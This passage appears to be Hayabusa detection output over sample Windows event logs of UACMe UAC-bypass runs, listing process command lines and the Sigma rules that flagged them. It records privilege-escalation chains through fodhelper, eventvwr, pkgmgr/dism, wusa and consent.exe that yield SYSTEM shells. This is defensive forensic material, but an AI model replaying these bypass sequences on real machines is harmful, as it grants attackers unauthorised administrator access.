0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.065 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\fodhelper.exe"" : Path: C:\Windows\System32\fodhelper.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 33",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.472 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\fodhelper.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.472 +09:00,MSEDGEWIN10,1,high,Bypass UAC via Fodhelper.exe,,rules/sigma/process_creation/win_uac_fodhelper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:14:08.681 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_33.evtx +2019-08-03 19:51:46.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 32 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.511 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.647 +09:00,MSEDGEWIN10,11,high,UAC Bypass Using Windows Media Player - File,,rules/sigma/file_event/file_event_uac_bypass_wmp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:46.685 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:47.219 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064425400 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\windows\system32\cmd.exe ""C:\Program Files\Windows Media Player\osk.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.675 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:48.696 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064425400 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 19:51:49.371 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 32",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_32.evtx +2019-08-03 20:23:15.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 30 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:15.364 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:15.579 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 0000028064427C00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:17.433 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\wusa.exe"" : Path: C:\Windows\SysWOW64\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 30",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:17.541 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 294 0000028064427C00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.619 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\wusa.exe"" : Path: C:\Windows\SysWOW64\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 30",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.694 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6312 -ip 6312",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.715 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\SysWOW64\WerFault.exe -u -p 6312 -s 80 : Path: C:\Windows\SysWOW64\WerFault.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\syswow64\wusa.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 20:23:18.824 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4348 -ip 4348",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_30.evtx +2019-08-03 21:06:53.680 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 23 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:53.680 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:53.943 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:54.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml : Path: C:\Windows\System32\PkgMgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 23",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:54.972 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 406 000002806444C740 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.455 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml : Path: C:\Windows\System32\PkgMgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 23",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.620 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dism.exe"" /online /norestart /apply-unattend:""C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml"" : Path: C:\Windows\System32\Dism.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\pkgmgr.exe"" /n:C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.620 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using PkgMgr and DISM,,rules/sigma/process_creation/win_uac_bypass_pkgmgr_dism.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:06:55.820 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\dism.exe"" /online /norestart /apply-unattend:""C:\Users\IEUser\AppData\Local\Temp\oemsetup.xml""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_23.evtx +2019-08-03 21:08:13.636 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 22 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:13.636 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:13.874 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC3D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:14.372 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC9C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:14.977 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC890 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:15.664 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC170 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.721 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 22",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.753 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064471300 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.853 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 4740 -s 128 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 318 0000028064471300,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:16.853 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Consent and Comctl32 - Process,,rules/sigma/process_creation/win_uac_bypass_consent_comctl32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:19.915 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 318 0000028064471300",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:20.731 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 22",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.128 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC500 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.954 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\WerFault.exe -u -p 7564 -s 152 : Path: C:\Windows\System32\WerFault.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 272 00000280644BC500,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:21.954 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using Consent and Comctl32 - Process,,rules/sigma/process_creation/win_uac_bypass_consent_comctl32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:23.554 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: consent.exe 896 272 00000280644BC500",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:23.555 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:08:55.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_22.evtx +2019-08-03 21:31:14.789 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 37 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:14.789 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.354 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 37",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 400 00000280644220C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.779 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 37",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:15.779 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using NTFS Reparse Point - Process,,rules/sigma/process_creation/win_uac_bypass_ntfs_reparse_point.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:31:27.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_37_FileCreate.evtx +2019-08-03 21:32:34.577 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 36 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:34.577 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.085 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.137 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 400 00000280644220C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.531 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wusa.exe"" /quiet C:\Users\IEUser\AppData\Local\Temp\update.msu : Path: C:\Windows\System32\wusa.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:35.531 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using NTFS Reparse Point - Process,,rules/sigma/process_creation/win_uac_bypass_ntfs_reparse_point.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:36.794 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dcomcnfg.exe"" : Path: C:\Windows\System32\dcomcnfg.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:36.812 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 318 0000028064471E00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.160 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\dcomcnfg.exe"" : Path: C:\Windows\System32\dcomcnfg.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 36",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.184 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\mmc.exe C:\Windows\system32\comexp.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\dcomcnfg.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:37.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BCAF0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 21:32:49.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 272 00000280644BC3D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_36_FileCreate.evtx +2019-08-03 22:50:26.614 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 38 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:26.614 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:27.060 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 398 000002806443AF40 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s 